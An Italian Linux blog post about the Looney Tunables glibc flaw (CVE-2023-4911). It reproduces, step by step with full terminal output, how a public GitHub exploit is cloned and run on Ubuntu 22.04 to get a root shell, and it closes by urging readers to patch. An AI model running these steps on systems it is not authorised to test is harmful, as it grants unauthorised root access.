Esistono già degli exploit per Looney Tunables, quindi è bene aggiornare le vostre distribuzioni Linux

0

Non capita spesso di dover tornare su una notizia annunciata solo pochi giorni prima, ma nel caso di Looney Tunables, la vulnerabilità di cui abbiamo raccontato la scorsa settimana, si rende più che necessario.

Se infatti nell’annuncio originale non vi era alcuna menzione su come sfruttare la problematica, diversi exploit sono stati pubblicati nel frattempo, dimostrando come la problematica sia seria e tutto sommato facile da implementare.

Basta infatti cercare con le corrette parole chiave, ad esempio il codice CVE-2023-4911, ed una serie di articoli e repository emergono dalla ricerca, dimostrando come non sia poi così complicato mettere in atto gli step per lo sfruttamento della falla.

Noi abbiamo testato lo script presente nel repository GitHub https://github.com/leesh3288/CVE-2023-4911/ ed ha funzionato.

Unico requisito la presenza di python3 sulla macchina, in questo caso una Ubuntu 22.04 LTS, insieme al pacchetto pwntools, il secondo dei quali facilmente installabile via pip:

rasca@ubuntu-jammy:~$ python3 --version
Python 3.10.12

rasca@ubuntu-jammy:~/CVE-2023-4911$ pip install pwntools
Defaulting to user installation because normal site-packages is not writeable
Collecting pwntools
  Downloading pwntools-4.11.0-py2.py3-none-any.whl (11.7 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 11.7/11.7 MB 5.1 MB/s eta 0:00:00
...
...

A questo punto, scaricando il repository dell’exploit:

rasca@ubuntu-jammy:~$ git clone https://github.com/leesh3288/CVE-2023-4911
Cloning into 'CVE-2023-4911'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 9 (delta 2), reused 9 (delta 2), pack-reused 0
Receiving objects: 100% (9/9), done.
Resolving deltas: 100% (2/2), done.

rasca@ubuntu-jammy:~$ cd CVE-2023-4911/

ed eseguendo il comando make dopo qualche minuto verrà restituita una shell:

rasca@ubuntu-jammy:~/CVE-2023-4911$ make
python3 gen_libc.py
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
./exp
try 100
try 200
try 300
try 400
try 500
try 600
try 700
try 800
try 900
try 1000
try 1100
try 1200
try 1300
try 1400
try 1500
try 1600
try 1700
try 1800
try 1900
try 2000
try 2100
try 2200
try 2300
try 2400
try 2500
try 2600
try 2700
try 2800
try 2900
try 3000

Usage:
 su [options] [-] [<user> [<argument>...]]

Change the effective user ID and group ID to that of <user>.
A mere - implies -l.  If <user> is not given, root is assumed.

Options:
 -m, -p, --preserve-environment      do not reset environment variables
 -w, --whitelist-environment <list>  don't reset specified variables

 -g, --group <group>             specify the primary group
 -G, --supp-group <group>        specify a supplemental group

 -, -l, --login                  make the shell a login shell
 -c, --command <command>         pass a single command to the shell with -c
 --session-command <command>     pass a single command to the shell with -c
                                   and do not create a new session
 -f, --fast                      pass -f to the shell (for csh or tcsh)
 -s, --shell <shell>             run <shell> if /etc/shells allows it
 -P, --pty                       create a new pseudo-terminal

 -h, --help                      display this help
 -V, --version                   display version

For more details see su(1).
try 3100
try 3200
#

E l’utente della stessa è, ahinoi, proprio root:

# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),137(libvirt),998(docker),1000(rasca,course)

Quindi l’escalation è possibile, percorribile e valeva la pena mostrarla per far capire come, se non lo avete fatto, sarà necessario aggiornare le vostre distribuzioni, siano queste Debian, Red Hat, Fedora o, come in questo caso Ubuntu.

Da sempre appassionato del mondo open-source e di Linux nel 2009 ho fondato il portale Mia Mamma Usa Linux! per condividere articoli, notizie ed in generale tutto quello che riguarda il mondo del pinguino, con particolare attenzione alle tematiche di interoperabilità, HA e cloud.
E, sì, mia mamma usa Linux dal 2009.